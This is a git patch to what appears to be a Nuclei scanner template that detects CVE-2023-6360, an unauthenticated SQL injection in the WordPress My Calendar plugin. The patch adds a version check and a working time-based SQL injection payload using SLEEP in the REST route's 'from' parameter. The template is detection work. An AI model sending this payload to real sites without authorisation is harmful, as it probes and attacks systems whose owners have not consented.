From eaa0cfaf3c455b9ab92af6c2ee060eb84cfd61f7 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran <leedhiyanesh@gmail.com>
Date: Thu, 1 Feb 2024 15:47:48 +0530
Subject: [PATCH] added flow

---
 http/cves/2023/CVE-2023-6360.yaml | 24 +++++++++++++++++++-----
 1 file changed, 19 insertions(+), 5 deletions(-)

diff --git a/http/cves/2023/CVE-2023-6360.yaml b/http/cves/2023/CVE-2023-6360.yaml
index cdb626e748..08e8c7c5db 100644
--- a/http/cves/2023/CVE-2023-6360.yaml
+++ b/http/cves/2023/CVE-2023-6360.yaml
@@ -2,7 +2,7 @@ id: CVE-2023-6360
 
 info:
   name: WordPress My Calendar <3.4.22 - Unauthenticated SQL Injection
-  author: community
+  author: xxcdd
   severity: high
   description: |
     WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
@@ -21,16 +21,30 @@ info:
     cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
   metadata:
     fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
-  tags: sql-injection,wordpress,wp-plugin,cve,cve2023,calendar
+    verified: true
+  tags: cve,cve2023,sqli,wordpress,wpscan,wp-plugin,my-calendar
+
+flow: http(1) && http(2)
 
 http:
   - method: GET
     path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"
+
+    matchers:
+      - type: word
+        internal: true
+        words:
+          - 'My Calendar'
+
+  - method: GET
+    path:
       - "{{BaseURL}}/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a"
+
     matchers:
       - type: dsl
         dsl:
-          - 'contains(body_1, "wp-content/plugins/my-calendar")'
-          - 'duration_2 >= 6'
+          - 'contains(header, "application/json")'
+          - 'contains(body, "[]")'
+          - 'duration >= 6'
         condition: and